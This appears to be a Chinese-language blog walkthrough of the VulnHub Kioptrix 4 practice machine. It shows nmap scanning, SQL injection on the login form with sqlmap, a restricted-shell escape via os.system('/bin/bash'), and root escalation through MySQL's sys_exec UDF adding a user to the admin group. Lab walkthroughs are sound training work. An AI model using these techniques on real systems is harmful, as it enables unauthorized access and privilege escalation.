靶场搭建
kali:192.168.102.128
靶机:192.168.102.129
靶机下载地址: https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar
下载后是一个vmdk文件,使用VMware启动靶场,新建虚拟机选择自定义,在选择磁盘的时候选择我们下载的wmdk文件。
靶机正常启动:
信息收集
因为靶场跟kali在同一个段,探测使用该命令:
fping -agq 192.168.102.128/24
探测到192.168.102.129存活,然后探测该主机端口存活情况:
nmap --min-rate 10000 -T5 -p 1-65535 -A -sC 192.168.102.129
漏洞发现&利用
探测发现存在80、22端口,访问80端口
经测试发现该登录界面密码处存在sql注入,账号admin,密码admin'尝试登录发现报错:
使用sqlmap工具来获取数据库信息:
.\sqlmap.py -r .\post.txt --level 3 --batch
通过sqlmap工具查看数据库内容获取到如下信息:
通过查到用户名和密码尝试登录web界面,但是web界面没有功能点。又尝试使用对应账号密码连接ssh,两个账号都能登录ssh,但是可以执行的命令很有限。
连接ssh的时候会显示:Unable to negotiate with 192.168.102.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
解决办法:
ssh -o HostkeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa [email protected]
连接后发现可以执行的命令很少,通过查看其他博主的过程发现是存在一个lshell限制,突破限制:
echo os.system('/bin/bash')
权限提升
尝试通过mysql的udf进行提权。
查找mysql连接账号密码,通过find命令搜索php文件查看mysql的连接信息:
find /var/www -name *.php
cat /var/www/checklogin.php
mysql账号为root密码为空进行连接,发现连接成功
查找mysql用户自定义函数,并利用函数将用户robert添加至管理员
SELECT * FROM mysql.func;
select sys_exec('usermod -a -G admin robert');
通过sudo su将robert提升至root权限
过程
简单理解,通过ip找到端口80存在登录页面
---> 登录界面存在sql注入漏洞
---> 通过sql注入获取账号密码
---> 通过账号密码尝试登录ssh(登录成功)
---> 登录后命令行存在局限性进行突破
---> 突破后进行提权,使用udf进行提权
相关连接
https://blog.csdn.net/YouthBelief/article/details/121554747
https://blog.csdn.net/qq_32261191/article/details/10640875